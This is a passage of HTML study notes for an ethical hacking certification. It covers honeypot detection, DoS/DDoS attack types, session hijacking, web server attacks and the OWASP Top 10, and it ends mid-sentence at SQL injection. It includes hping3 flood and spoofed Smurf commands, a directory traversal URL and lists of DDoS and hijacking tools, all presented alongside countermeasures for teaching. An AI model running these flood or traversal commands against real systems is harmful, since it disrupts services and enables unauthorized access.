      <p><em>ICMP Type 3 Code 3 tells you the client itself has the port closed</em></p>
    </li>
    <li>
      <p><strong>Tools</strong></p>
      <ul>
        <li>CovertTCP</li>
        <li>ICMP Shell</li>
        <li>007 Shell</li>
      </ul>
    </li>
    <li>
      <p>The best way around a firewall will always be a compromised internal machine</p>
    </li>
  </ul>
  <h2><u>How to detect a Honeypot</u></h2>
  <p><em>Probe services running on them; Ports that show a service is available, but <strong>deny a three-way handshake
        may indicate that the system is a honeypot</strong></em>.</p>
  <ul>
    <li><strong>Layer 7 (Application)</strong> - Examine latency of responses from server</li>
    <li><strong>Layer 4 (Transport)</strong> - Examine the TCP windows size, looing for continuous Acknowledgement of
      incoming packets even when the windows size is set to 0.</li>
    <li><strong>Layer 2 (Data Link)</strong> - If you are on the same network as the honeypot, <strong>look for MAC
        addresses</strong> in packets that indicate the presence of a <strong>'Black Hole'</strong>
      (<code>0:0:f:ff:ff:ff</code>)</li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>The exam will not cover every information presented, but is good to have a general idea.</strong></p>
  </blockquote>
  <ul>
    <li>If Honeypot is virtualized, look for the vendor assigned MAC address ranges as published by IEEE.</li>
    <li>If Honeypot is the <strong>Honeyd</strong> type, use time based TCP fingerprinting methods to detect</li>
    <li>Detecting <strong>User-Mode Linux (UML) honeypot</strong>, analyze <code>proc/mounts</code>,
      <code>proc/interrupts</code> and <code>proc/cmdline</code> which would have UML specific settings and information.
    </li>
    <li>Detecting Sebek-based honeypots, Sebek will log everything that is accessed via <code>read()</code>
      <strong>before</strong> sending to the network, causing congestion that can be an indicator.</li>
    <li>Detecting <strong>snort_inline honeypots</strong>, analyze the outgoing packets by capturing the snort_inline
      modified packets through another</li>
  </ul>
  <h1>8. Denial of Service</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/9-Denial-of-Service">practical
          labs</a></strong></p>
  </blockquote>
  <h2>DoS</h2>
  <p><em>A Denial of Service (DoS) is a type of attack on a service that disrupts its normal function and prevents other
      users from accessing it. The most common target for a DoS attack is an online service such as a website, though
      attacks can also be launched against networks, machines or even a single program.</em></p>
  <p>DoS attacks can cause the following problems:</p>
  <ul>
    <li>Ineffective services</li>
    <li>Inaccessible services</li>
    <li>Interruption of network traffic</li>
    <li>Connection interference</li>
  </ul>
  <h2>DDoS</h2>
  <p><em>A distributed denial of service (DDoS) attack is launched from numerous compromised devices, often distributed
      globally in what is referred to as a <strong>botnet</strong>.</em></p>
  <p><img src="https://www.imperva.com/learn/wp-content/uploads/sites/13/2019/01/hits-per-second.png" alt="dos"></p>
  <p><strong>Goal:</strong></p>
  <ul>
    <li>Seeks to take down a system or deny access to it by authorized users.</li>
  </ul>
  <h3><strong>Botnet</strong></h3>
  <p><em>Network of zombie computers a hacker uses to start a distributed attack.</em></p>
  <ul>
    <li>Botnets can be designed to do malicious tasks including sending <strong>spam, stealing data, ransomware,
        fraudulently clicking on ads or distributed denial-of-service (DDoS) attacks.</strong></li>
    <li>Can be controlled over HTTP, HTTPS, IRC, or ICQ</li>
  </ul>
  <p><img src="https://www.f5.com/content/dam/f5-labs-v2/article/articles/edu/20190605_what_is_a_ddos/DDoS_attack.png"
      alt="botnet"></p>
  <ul>
    <li><strong>Botnet Scanning Methods</strong>:
      <ul>
        <li><strong>Random</strong> - Randomly looks for vulnerable devices</li>
        <li><strong>Hitlist</strong> - Given a list of devices to scan for vulnerabilities</li>
        <li><strong>Topological</strong> - Scan hosts discovered by currently exploited devices</li>
        <li><strong>Local subnet</strong> - Scans local network for vulnerable devices</li>
        <li><strong>Permutation</strong> - Scan list of devices created through pseudorandom permutation algorithm</li>
      </ul>
    </li>
  </ul>
  <h2><u>Three Types of DoS / DDoS</u></h2>
  <h3><strong>1. Volumetric attacks</strong></h3>
  <ul>
    <li>
      <p>Consumes the bandwidth of target network or service.</p>
    </li>
    <li>
      <p>Send a massive amount of traffic to the target network with the goal of consuming <strong>so much
          bandwidth</strong> that users are denied access.</p>
    </li>
    <li>
      <p>Bandwitdh depletion attack: Flood Attack and Amplification attack.</p>
      <ul>
        <li><strong>Attacks</strong>:
          <ul>
            <li>UDP flood attack</li>
            <li>ICMP flood attack</li>
            <li>Ping of Death attack</li>
            <li>Smurf attack (IP)</li>
            <li>Fraggle (UDP)</li>
            <li>Malformed IP packet flood attack</li>
            <li>Spoofed IP packet flood attack</li>
          </ul>
        </li>
      </ul>
      <blockquote>
        <ul>
          <li>⚠️ <strong>Volumetric attacks is measured in Bits per second (Bps).</strong></li>
        </ul>
      </blockquote>
    </li>
  </ul>
  <h3><strong>2. Protocol Attacks</strong></h3>
  <ul>
    <li>
      <p>Consume other types of resources like <strong>connection state tables</strong> present in the network
        infrastructure components such as <strong>load balancers, firewalls, and application servers</strong>.</p>
      <ul>
        <li><strong>Attacks</strong>:
          <ul>
            <li>SYN flood attack</li>
            <li>Fragmentation attack</li>
            <li>ACK flood attack</li>
            <li>TCP state exhaustion attack</li>
            <li>TCP connection flood attack</li>
            <li>RST attack</li>
          </ul>
        </li>
      </ul>
      <blockquote>
        <ul>
          <li>⚠️ <strong>Protocol attacks is measured in Packets per second (Pps).</strong></li>
        </ul>
      </blockquote>
    </li>
  </ul>
  <h3><strong>3. Application Layer Attacks</strong></h3>
  <ul>
    <li>
      <p>Includes low-and-slow attacks, GET/POST floods, attacks that target Apache, Windows or OpenBSD vulnerabilities
        and more.</p>
    </li>
    <li>
      <p>Consume the resources necessary for the application to run.</p>
    </li>
    <li>
      <p>Target web servers, web application and specific web-based apps.</p>
    </li>
    <li>
      <p>Abuse higher-layer (7) protocols like HTTP/HTTPS and SNMP.</p>
      <ul>
        <li><strong>Attacks</strong>:
          <ul>
            <li>HTTP GET/POST attack</li>
            <li>Slowloris attack</li>
          </ul>
        </li>
      </ul>
      <blockquote>
        <ul>
          <li>⚠️ <strong>Application layer attacks is measured in Requests per second (Rps).</strong></li>
        </ul>
      </blockquote>
      <blockquote>
        <ul>
          <li>⚠️ <strong>Application level attacks are against weak code.</strong></li>
        </ul>
      </blockquote>
    </li>
  </ul>
  <h2><u>Attacks explanation</u></h2>
  <h3><strong>IP Fragmentation attacks</strong></h3>
  <ul>
    <li>
      <p>IP / ICMP fragmentation attack is a common form of volumetric DoS. In such an attack, datagram fragmentation
        mechanisms are used to overwhelm the network.</p>
    </li>
    <li>
      <p>Bombard the destination with fragmented packets, causing it to use memory to reassemble all those fragments and
        overwhelm a targeted network.</p>
    </li>
    <li>
      <p><strong>Can manifest in different ways:</strong></p>
      <ul>
        <li><strong>UDP Flooding</strong> - attacker sends large volumes of fragments from numerous sources.</li>
        <li><strong>UDP and ICMP</strong> fragmentation attack - only parts of the packets is sent to the target; Since
          the packets are fake and can't be reassembled, the server's resources are quickly consumed.</li>
        <li><strong>TCP fragmentation attack</strong> - also know as a Teardrop attack, targets TCP/IP reassembly
          mechanisms; Fragmented packets are prevented from being reassembled. The result is that data packets overlap
          and the targeted server becomes completely overwhelmed.</li>
      </ul>
    </li>
  </ul>
  <h3><strong>TCP state-exhaustion attack</strong></h3>
  <ul>
    <li>Attempt to consume connection state tables like: <strong>Load balancers, firewalls and application
        servers.</strong></li>
  </ul>
  <h3><strong>Slowloris attack</strong></h3>
  <p><em>Is an application layer attack which operates by utilizing partial HTTP requests. The attack functions by
      opening connections to a targeted Web server and then keeping those connections open as long as it can.</em></p>
  <ul>
    <li>
      <p><img src="https://www.cloudflare.com/img/learning/ddos/ddos-slowloris-attack/slowloris-attack-diagram.png"
          alt="slowloris"></p>
    </li>
    <li>
      <p>The attacker first opens multiple connections to the targeted server by sending multiple partial HTTP request
        headers.</p>
    </li>
    <li>
      <p>The target opens a thread for each incoming request</p>
    </li>
    <li>
      <p>To prevent the target from timing out the connections, the attacker periodically sends partial request headers
        to the target in order to keep the request alive. In essence saying, “I’m still here! I’m just slow, please wait
        for me.”</p>
    </li>
    <li>
      <p>The targeted server is never able to release any of the open partial connections while waiting for the
        termination of the request.</p>
    </li>
    <li>
      <p>Once all available threads are in use, the server will be unable to respond to additional requests made from
        regular traffic, resulting in denial-of-service.</p>
    </li>
  </ul>
  <h3><strong>SYN attack</strong></h3>
  <ul>
    <li>Sends thousands of SYN packets</li>
    <li>Uses a <strong>false source address</strong> / spoofed IP address.</li>
    <li>The server then responds to each one of the connection requests and leaves an open port ready to receive the
      response.</li>
    <li>Eventually engages all resources and exhausts the machine</li>
  </ul>
  <h3><strong>SYN flood (half-open attack)</strong></h3>
  <ul>
    <li>
      <p>Sends thousands of SYN packets</p>
    </li>
    <li>
      <p>While the <strong>server waits for the final ACK packet</strong>, <u>which never arrives</u>, the attacker
        continues to send more SYN packets. The arrival of each new SYN packet causes the server to temporarily maintain
        a new open port connection for a certain length of time, and once all the available ports have been utilized the
        server is unable to function normally.</p>
    </li>
    <li>
      <p>Eventually bogs down the computer, runs out of resources.</p>
    </li>
    <li>
      <p><img
          src="https://www.cloudflare.com/img/learning/ddos/syn-flood-ddos-attack/syn-flood-attack-ddos-attack-diagram-2.png"
          alt="syn-flood"></p>
    </li>
  </ul>
  <h3><strong>ICMP flood</strong></h3>
  <ul>
    <li>Sends ICMP Echo packets with a spoofed address; eventually reaches limit of packets per second sent
      <ul>
        <li>Is possible to use <code>hping3</code> to perform ICMP flood:
          <ul>
            <li><code>hping -1 --flood --rand-source &lt;target&gt;</code></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>Smurf attack</strong></h3>
  <ul>
    <li>The Smurf attack is a <strong>distributed denial-of-service</strong> attack in which large numbers of ICMP
      packets with the intended victim's <strong>spoofed source IP are broadcast to a computer network using an IP
        broadcast address.</strong>
      <ul>
        <li>Is possible to use <code>hping3</code> to perform this attack and bash script to loop through the subnet.
          <ul>
            <li><code>hping3 -1 -c 1000 10.0.0.$i --fast -a &lt;spoofed target&gt;</code></li>
          </ul>
        </li>
        <li><img src="https://www.imperva.com/learn/wp-content/uploads/sites/13/2019/01/smurf-attack-ddos.png"
            alt="smurf"></li>
      </ul>
    </li>
  </ul>
  <h3><strong>Fraggle</strong></h3>
  <ul>
    <li>Same concept as Smurf attack but with <strong>UDP packets</strong> (UDP flood attack).
      <ul>
        <li>Is possible to use <code>hping3</code> to perform Fraggle attack/ UDP flood
          <ul>
            <li><code>hping3 --flood --rand-source --udp -p &lt;target&gt;</code></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>Ping of Death</strong></h3>
  <ul>
    <li>Fragments ICMP messages; after reassembled, the ICMP packet is larger than the maximum size and crashes the
      system
      <ul>
        <li>Performs by sending an IP packet larger than the 65,536 bytes allowed by the IP protocol.</li>
        <li>Old technique that can be acceptable to old systems.</li>
      </ul>
    </li>
  </ul>
  <h3><strong>Teardrop</strong></h3>
  <ul>
    <li>Overlaps a large number of garbled IP fragments with oversized payloads; causes older systems to crash due to
      fragment reassembly</li>
  </ul>
  <h3><strong>Peer to peer</strong></h3>
  <ul>
    <li>Clients of peer-to-peer file-sharing hub are disconnected and directed to connect to the target system</li>
  </ul>
  <h3><strong>Multi-vector attack</strong></h3>
  <ul>
    <li>Is a combination of <strong>Volumetric, protocol, and application-layer attacks</strong>.</li>
  </ul>
  <h3><strong>Phlashing / Permanent DoS</strong></h3>
  <ul>
    <li>A DoS attack that causes permanent damage to a system.</li>
    <li>Modifies the firmware and can also cause a <strong>system to brick</strong>.</li>
    <li><em>e.g: Send fraudulent hardware update to victim; crashing BIOS.</em></li>
  </ul>
  <h3><strong>LAND attack</strong></h3>
  <ul>
    <li>Sends a SYN packet to the target with a spoofed IP the same as the target; if vulnerable, target loops endlessly
      and crashes</li>
  </ul>
  <h2><u>DoS/DDoS Attack Tools:</u></h2>
  <ul>
    <li>
      <p><strong>Low Orbit Ion Cannon</strong> (LOIC) - DDoS tool that floods a target with TCP, UDP or HTTP requests
      </p>
      <ul>
        <li><img src="https://i.ytimg.com/vi/HavEPVxUn-A/maxresdefault.jpg" alt="loic"></li>
      </ul>
    </li>
    <li>
      <p><strong>High Orbit Ion Cannon</strong> (HOIC) - More powerful version of LOIC; Targets TCP and UDP; The
        application can open up to 256 simultaneous attack sessions at once, bringing down a target system by sending a
        continuous stream of junk traffic until legitimate requests are no longer able to be processed;</p>
      <ul>
        <li><img src="https://upload.wikimedia.org/wikipedia/commons/d/d8/HOIC_INTERFACE.png" alt="hoic"></li>
      </ul>
    </li>
    <li>
      <p><strong>Other Tools</strong></p>
      <ul>
        <li>HULK</li>
        <li>Metasploit</li>
        <li>Nmap</li>
        <li>Tsunami</li>
        <li>Trinity - Linux based DDoS tool</li>
        <li>Tribe Flood Network - uses voluntary botnet systems to launch massive flood attacks</li>
        <li>RUDY (R-U-Dead-Yet?) - DoS with HTTP POST via long-form field submissions</li>
      </ul>
    </li>
  </ul>
  <h2><u>Mitigations</u></h2>
  <ul>
    <li>Traffic analysis</li>
    <li>Filtering</li>
    <li>Firewalls</li>
    <li>ACLs</li>
    <li>Reverse Proxies</li>
    <li>Rate limiting - limiting the maximum number of connections a single IP address is allowed to make)</li>
    <li>Load balancers</li>
    <li>DoS prevention software</li>
  </ul>
  <h1>9. <u>Session Hijacking</u></h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter has <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/10-Session-Hijacking">practical
          labs</a></strong></p>
  </blockquote>
  <p><em>The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is
      normally managed for a session token.</em> <a
      href="https://owasp.org/www-community/attacks/Session_hijacking_attack">[+]</a></p>
  <ul>
    <li>HTTP communication uses many different TCP connections, the web server needs a method to recognize every user’s
      connections.</li>
    <li>The most useful method depends on a <strong>token</strong> that the Web Server sends to the client browser after
      a successful client authentication.</li>
    <li>A <strong>session token</strong> is normally composed of a string of variable width and it could be used in
      different ways
      <ul>
        <li>like in the URL, in the header of the HTTP requisition as a cookie, in other parts of the header of the HTTP
          request, or yet in the body of the HTTP requisition.</li>
      </ul>
    </li>
  </ul>
  <p><strong>The Session Hijacking attack compromises the session token by stealing or predicting a valid session token
      to gain unauthorized access to the Web Server.</strong></p>
  <p align="center">
    <img width="70%"
      src="https://dpsvdv74uwwos.cloudfront.net/statics/img/blogposts/illustration-of-session-hijacking-using-xss.png">
  </p>
  <p align="center">
    <small>Session Hijacking using XSS</small>
  </p>
  <h2><strong>The session token could be compromised in different ways; the most common are:</strong></h2>
  <h3><strong>Predictable session token</strong></h3>
  <ul>
    <li>The session ID information for a certain application is normally composed by a string of fixed width.
      <strong>Randomness is very important</strong> to avoid its prediction.
      <ul>
        <li><strong>Example:</strong> Session ID value is “user01”, which corresponds to the username. By trying new
          values for it, like “user02”, it could be possible to get inside the application without prior authentication.
        </li>
      </ul>
    </li>
  </ul>
  <h3><strong>Session Sniffing</strong></h3>
  <ul>
    <li>Sniffing can be used to hijack a session when there is non-encrypted communication between the web server and
      the user, and the session ID is being sent in plain text.
      <ul>
        <li><strong>Wireshark</strong> and <strong>Kismet</strong> can be used to capture sensitive data packets such as
          the session ID from the network.</li>
      </ul>
    </li>
  </ul>
  <h3><strong>Cross-site scripting (XSS)</strong></h3>
  <ul>
    <li>A server can be vulnerable to a cross-site scripting exploit, which enables an attacker to execute malicious
      code from the user’s side, gathering session information. An attacker can target a victim’s browser and send a
      scripted JavaScript link, which upon opening by the user, runs the malicious code in the browser hijacking
      sessions.</li>
  </ul>
  <h3><strong>CSRF - Cross-Site Request Forgery</strong></h3>
  <ul>
    <li>
      <p>Forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.
        With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the
        users of a web application into executing actions of the attacker’s choosing;</p>
    </li>
    <li>
      <p>CSRF attack can force the user to perform state changing requests like transferring funds, changing their email
        address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web
        application.</p>
    </li>
    <li>
      <p><strong>CSRF Scenario:</strong></p>
      <ol>
        <li>Visit your bank's site, log in.</li>
        <li>Then visit the attacker's site (e.g. sponsored ad from an untrusted organization).</li>
        <li>Attacker's page includes form with same fields as the bank's "Transfer Funds" form.</li>
        <li>Form fields are pre-filled to transfer money from your account to attacker's account.</li>
        <li>Attacker's page includes Javascript that submits form to your bank.</li>
        <li>When form gets submitted, browser includes your cookies for the bank site, including the session token.</li>
        <li>Bank transfers money to attacker's account.</li>
        <li>The form can be in an iframe that is invisible, so you never know the attack occurred.</li>
      </ol>
    </li>
  </ul>
  <h3><strong>Session Fixation</strong></h3>
  <ul>
    <li>
      <p>Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a
        limitation in the way the web application manages the session ID, more specifically the vulnerable web
        application.</p>
    </li>
    <li>
      <p><strong>Session fixation Scenario</strong>:</p>
      <ol>
        <li>The attacker accesses the web application login page and <strong>receives a session ID</strong> generated by
          the web application.</li>
        <li>The attacker uses an additional technique such as <strong>CRLF Injection, man-in-the-middle attack, social
            engineering,</strong> etc., and gets the victim to use the <strong>provided session identifier</strong>.
        </li>
        <li>The victim accesses the web application login page and logs in to the application. After authenticating, the
          <strong>web application treats anyone who uses this session ID as if they were this user.</strong></li>
        <li>The attacker uses the session ID to access the web application, <strong>take over the user session, and
            impersonate the victim</strong>.</li>
      </ol>
    </li>
  </ul>
  <h3><strong>Man-in-the-browser attack</strong></h3>
  <ul>
    <li>The Man-in-the-Browser attack is the same approach as Man-in-the-middle attack, but in this case a Trojan Horse
      is used to intercept and manipulate calls between the main application’s executable.</li>
  </ul>
  <h3><strong>Man-in-the-middle attack</strong></h3>
  <ul>
    <li>MITM attack is a general term for when a perpetrator positions himself in a conversation between a user and an
      application—either to eavesdrop or to impersonate one of the parties, making it appear as if a normal exchange of
      information is underway.</li>
  </ul>
  <h2>Other attacks</h2>
  <ul>
    <li><strong>Compression Ratio Info-leak Made Easy (CRIME)</strong>:
      <ul>
        <li>Is a security exploit against secret web cookies over connections using the HTTPS and SPDY protocols that
          also use data compression. When used to recover the content of secret authentication cookies, it allows an
          attacker to perform session hijacking.</li>
      </ul>
    </li>
    <li><strong>BREACH</strong>:
      <ul>
        <li>Is a security exploit against HTTPS when using HTTP compression (SSL/TLS compression). BREACH is built based
          on the CRIME security exploit.</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>SPDY protocol manipulates HTTP traffic, with particular goals of reducing web page load latency and
        improving web security.</strong></p>
  </blockquote>
  <ul>
    <li><strong>Forbideen Attack</strong>
      Vulnerability in TLS that incorrectly reuse the <strong>same cryptographic nonce when data is encrypted</strong>.
      TLS specifications are clear that these arbitrary pieces of data should be used only once. When the same one is
      used more than once, it provides an opportunity to carry out the forbidden attack.</li>
  </ul>
  <h2><u>Network Layer Attacks</u></h2>
  <ul>
    <li><strong>TCP Hijacking</strong>: TCP/IP Hijacking is when an authorized user gains access to a genuine network
      connection of another user. It is done in order to bypass the password authentication which is normally the start
      of a session.
      <ul>
        <li>e.g: TELNET Hijacking using Ettercap, Shijack, making a blind hijacking.</li>
      </ul>
    </li>
  </ul>
  <h3><strong>Tools</strong></h3>
  <ul>
    <li><strong>Ettercap</strong> - MiTM tool and packet sniffer on steroids</li>
    <li><strong>Hunt</strong> - sniff, hijack and reset connections</li>
    <li><strong>T-Sight</strong> - easily hijack sessions and monitor network connections</li>
    <li><strong>Zaproxy</strong></li>
    <li><strong>Burp Suite</strong></li>
    <li><strong>Paros</strong></li>
    <li><strong>Shijack</strong> - TCP/IP hijack tools</li>
    <li><strong>Juggernaut</strong></li>
    <li><strong>Hamster</strong></li>
    <li><strong>Ferret</strong></li>
  </ul>
  <h2>Countermeasures</h2>
  <ul>
    <li><strong>Session IDS</strong>
      <ul>
        <li>Using unpredictable (randomized) Session IDs</li>
        <li>Never use URL's with Sessions IDs</li>
        <li>Don't Re-use Session IDs</li>
      </ul>
    </li>
  </ul>
  <ul>
    <li>Use <strong>HTTP-Only on Cookies</strong> preventing XSS (Cross-Site Scripting)</li>
    <li>Don't use HTTP protocol without encryption --&gt; Use TLS/SSL [HTTPS]</li>
    <li>Limiting incoming connections</li>
    <li>Minimizing remote access</li>
    <li>Regenerating the session key after authentication</li>
    <li>Time - absolute / inactive <em>(e.g: 1h of inactivity the user will automatically log off)</em></li>
    <li>Use <strong>MFA</strong></li>
    <li>Use <strong>IPSec to encrypt</strong></li>
  </ul>
  <h3>IPSec</h3>
  <ul>
    <li><strong>Transport Mode</strong> - payload and ESP trailer are encrypted; IP header is not</li>
    <li><strong>Tunnel mode</strong> - everything is encrypted; cannot be used with NAT</li>
    <li><strong>Architecture Protocols</strong>
      <ul>
        <li><strong>Authentication Header</strong> - guarantees the integrity and authentication of IP packet sender
        </li>
        <li><strong>Encapsulating Security Payload</strong> (ESP) - provides origin authenticity and integrity as well
          as confidentiality</li>
        <li><strong>Internet Key Exchange</strong> (IKE) - produces the keys for the encryption process</li>
        <li><strong>Oakley</strong> - uses Diffie-Hellman to create master and session keys</li>
        <li><strong>Internet Security Association Key Management Protocol</strong> (ISAKMP) - software that facilitates
          encrypted communication between two endpoints</li>
      </ul>
    </li>
  </ul>
  <h1>10. Hacking Web Servers</h1>
  <h2><u>Web Server Attack Methodology</u></h2>
  <ul>
    <li>
      <p><strong>Information Gathering</strong> - Internet searches, whois, reviewing robots.txt</p>
    </li>
    <li>
      <p><strong>Web Server Footprinting</strong> - banner grabbing</p>
      <ul>
        <li><strong>Tools</strong>
          <ul>
            <li>Netcraft</li>
            <li>HTTPRecon</li>
            <li>theHarvester</li>
            <li>ID Serve</li>
            <li>HTTPrint</li>
            <li>nmap
              <ul>
                <li><code>nmap --script http-trace -p80 localhost</code>
                  <ul>
                    <li>Detects vulnerable TRACE method</li>
                  </ul>
                </li>
                <li><code>nmap --script http-google-email &lt;host&gt;</code>
                  <ul>
                    <li>Lists email addresses</li>
                  </ul>
                </li>
                <li><code>nmap --script hostmap-* &lt;host&gt;</code>
                  <ul>
                    <li>dDiscovers virtual hosts on the IP address you are trying to footprint; * is replaced by online
                      db such as IP2Hosts</li>
                  </ul>
                </li>
                <li><code>nmap --script http-enum -p80 &lt;host&gt;</code>
                  <ul>
                    <li>Enumerates common web apps</li>
                  </ul>
                </li>
                <li><code>nmap --script http-robots.txt -p 80 &lt;host&gt;</code>
                  <ul>
                    <li>Grabs the robots.txt file</li>
                  </ul>
                </li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Website Mirroring</strong> - brings the site to your own machine to examine structure, etc.</p>
      <ul>
        <li><strong>Tools</strong>
          <ul>
            <li>Wget</li>
            <li>BlackWidow</li>
            <li>HTTrack</li>
            <li>WebCopier Pro</li>
            <li>Web Ripper</li>
            <li>SurfOffline</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Vulnerability Scanning</strong> - scans web server for vulnerabilities</p>
      <ul>
        <li><strong>Tools</strong>
          <ul>
            <li>Nessus</li>
            <li>Nikto - specifically suited for web servers; still very noisy like Nessus</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Session Hijacking</strong></p>
    </li>
    <li>
      <p><strong>Web Server Password Cracking</strong></p>
    </li>
  </ul>
  <h2><u>Web Server Architecture</u></h2>
  <ul>
    <li><strong>Most Popular Servers</strong> - Apache, Microsoft IIS and Nginx
      <ul>
        <li>Apache runs configurations as a part of a module within special files (http.conf, etc.)</li>
        <li>IIS runs all applications in the context of LOCAL_SYSTEM</li>
        <li>IIS 5 had a ton of bugs - easy to get into</li>
      </ul>
    </li>
    <li><strong>N-Tier Architecture</strong> - distributes processes across multiple servers; normally as three-tier:
      Presentation (web), logic (application) and data (database)</li>
    <li><strong>Error Reporting</strong> - should not be showing errors in production; easy to glean information</li>
    <li><strong>HTML</strong> - markup language used to display web pages</li>
    <li><strong>HTTP Request Methods</strong>
      <ul>
        <li><strong>GET</strong> - retrieves whatever information is in the URL; sending data is done in URL</li>
        <li><strong>HEAD</strong> - identical to get except for no body return</li>
        <li><strong>POST</strong> - sends data via body - data not shown in URL or in history</li>
        <li><strong>PUT</strong> - requests data be stored at the URL</li>
        <li><strong>DELETE</strong> - requests origin server delete resource</li>
        <li><strong>TRACE</strong> - requests application layer loopback of message</li>
        <li><strong>CONNECT</strong> - reserved for use with proxy</li>
        <li>Both POST and GET can be manipulated by a web proxy</li>
      </ul>
    </li>
    <li><strong>HTTP Error Messages</strong>
      <ul>
        <li><strong>1xx: Informational</strong> - request received, continuing</li>
        <li><strong>2xx: Success</strong> - action received, understood and accepted</li>
        <li><strong>3xx: Redirection</strong> - further action must be taken</li>
        <li><strong>4xx: Client Error</strong> - request contains bad syntax or cannot be fulfilled</li>
        <li><strong>5xx: Server Error</strong> - server failed to fulfill an apparently valid request</li>
      </ul>
    </li>
  </ul>
  <h2><u>Web Server Attacks</u></h2>
  <ul>
    <li>
      <p><strong>DNS Amplification</strong> - Uses recursive DNS to DoS a target; amplifies DNS answers to target until
        it can't do anything</p>
    </li>
    <li>
      <p><strong>Directory Transversal</strong> (../ or dot-dot-slash) - requests file that should not be accessible
        from web server</p>
      <ul>
        <li>Example: <a
            href="http://www.example.com/../../../../etc/password">http://www.example.com/../../../../etc/password</a>
        </li>
        <li>Can use Unicode to possibly evade IDS - %2e for dot and %sf for slash</li>
      </ul>
    </li>
    <li>
      <p><strong>Parameter Tampering</strong> (URL Tampering) - Manipulating parameters within URL to achieve escalation
        or other changes</p>
    </li>
    <li>
      <p><strong>Hidden Field Tampering</strong> - Modifying hidden form fields producing unintended results</p>
    </li>
    <li>
      <p><strong>HTTP Response Splitting</strong> - An attacker passes malicious data to a vulnerable application
        through the HTTP response header.</p>
    </li>
    <li>
      <p><strong>Web Cache Poisoning</strong> - Replacing the cache on a box with a malicious version of it</p>
    </li>
    <li>
      <p><strong>WFETCH</strong> - Microsoft tool that allows you to craft HTTP requests to see response data</p>
    </li>
    <li>
      <p><strong>Misconfiguration Attack</strong> - Same as before - improper configuration of a web server. (e.g:
        Default settings like admin/password credentials; Lack of security controls)</p>
    </li>
    <li>
      <p><strong>Password Attack</strong> - Attempting to crack passwords related to web resources</p>
    </li>
    <li>
      <p><strong>Connection String Parameter Pollution</strong> - Injection attack that uses semicolons to take
        advantage of databases that use this separation method</p>
    </li>
    <li>
      <p><strong>Web Defacement</strong> - Simply modifying a web page to say something else</p>
    </li>
    <li>
      <p><strong>DoS/DDoS</strong> - Compromise availability</p>
    </li>
    <li>
      <p><strong>Shellshock</strong> - Causes Bash to unintentionally execute commands when commands are concatenated on
        the end of function definitions</p>
    </li>
    <li>
      <p><strong>Tools</strong></p>
      <ul>
        <li><strong>Brutus</strong> - brute force web passwords of HTTP</li>
        <li><strong>Hydra</strong> - network login cracker</li>
        <li><strong>Metasploit</strong>
          <ul>
            <li>Basic working is Libraries use Interfaces and Modules to send attacks to services</li>
            <li><strong>Exploits</strong> hold the actual exploit</li>
            <li><strong>Payload</strong> contains the arbitrary code if exploit is successful</li>
            <li><strong>Auxiliary</strong> used for one-off actions (like a scan)</li>
            <li><strong>NOPS</strong> used for buffer-overflow type operations</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h1>11. Hacking Web Applications</h1>
  <h2><u>Web Organizations</u></h2>
  <ul>
    <li><strong>Internet Engineering Task Force (IETF)</strong> - Creates engineering documents to help make the
      Internet work better.</li>
    <li><strong>World Wide Web Consortium (W3C)</strong> - A standards-developing community.</li>
    <li><strong>Open Web Application Security Project (OWASP)</strong> - Organization focused on improving the security
      of software.</li>
  </ul>
  <h2><u>OWASP Web Top 10</u></h2>
  <p align="center">
    <img width="60%" src="https://sdtimes.com/wp-content/uploads/2017/11/OWASP.png">
  </p>
  <p><em>The <a href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a> is a standard awareness document for
      developers and web application security. It represents a broad consensus about the most critical security risks to
      web applications.</em></p>
  <ul>
    <li><strong>A1 - Injection Flaws</strong> - SQL, OS and LDAP injection</li>
    <li><strong>A2 - Broken Authentication and Session Management</strong> - functions related to authentication and
      session management that aren't implemented correctly</li>
    <li><strong>A3 - Sensitive Data Exposure</strong> - not properly protecting sensitive data (SSN, CC numbers, etc.)
    </li>
    <li><strong>A4 - XML External Entities (XXE)</strong> - exploiting XML processors by uploading hostile content in an
      XML document</li>
    <li><strong>A5 - Broken Access Control</strong> - having improper controls on areas that should be protected</li>
    <li><strong>A6 - Security Misconfiguration</strong> - across all parts of the server and application</li>
    <li><strong>A7 - Cross-Site Scripting (XSS)</strong> - taking untrusted data and sending it without input validation
    </li>
    <li><strong>A8 - Insecure Deserialization</strong> - improperly de-serializing data</li>
    <li><strong>A9 - Using Components with Known Vulnerabilities</strong> - libraries and frameworks that have known
      security holes</li>
    <li><strong>A10 - Insufficient Logging and Monitoring</strong> - not having enough logging to detect attacks</li>
  </ul>
  <p><strong>WebGoat</strong> - project maintained by OWASP which is an insecure web application meant to be tested</p>
  <h2><u>Web Application Attacks</u></h2>
  <ul>
    <li>Most often hacked before of inherent weaknesses built into the program</li>
    <li>First step is to identify entry points (POST data, URL parameters, cookies, headers, etc.)</li>
    <li><strong>Tools for Identifying Entry Points</strong>
      <ul>
        <li>WebScarab</li>
        <li>HTTPPrint</li>
        <li>BurpSuite</li>
      </ul>
    </li>
    <li><strong>Web 2.0</strong> - dynamic applications; have a larger attack surface due to simultaneous communication
    </li>
  </ul>
  <hr>
  <h2><strong>SQL Injection</strong></h2>
  <p>Injecting SQL commands into input fields to produce output</p>
  <ul>
    <li>Data Handling - Definition (DDL), manipulation (DML) and control (DCL)</li>
  </ul>
  <p>SQL injection usually occurs when you ask a user for input, like their username/userid, and instead of a name/id,
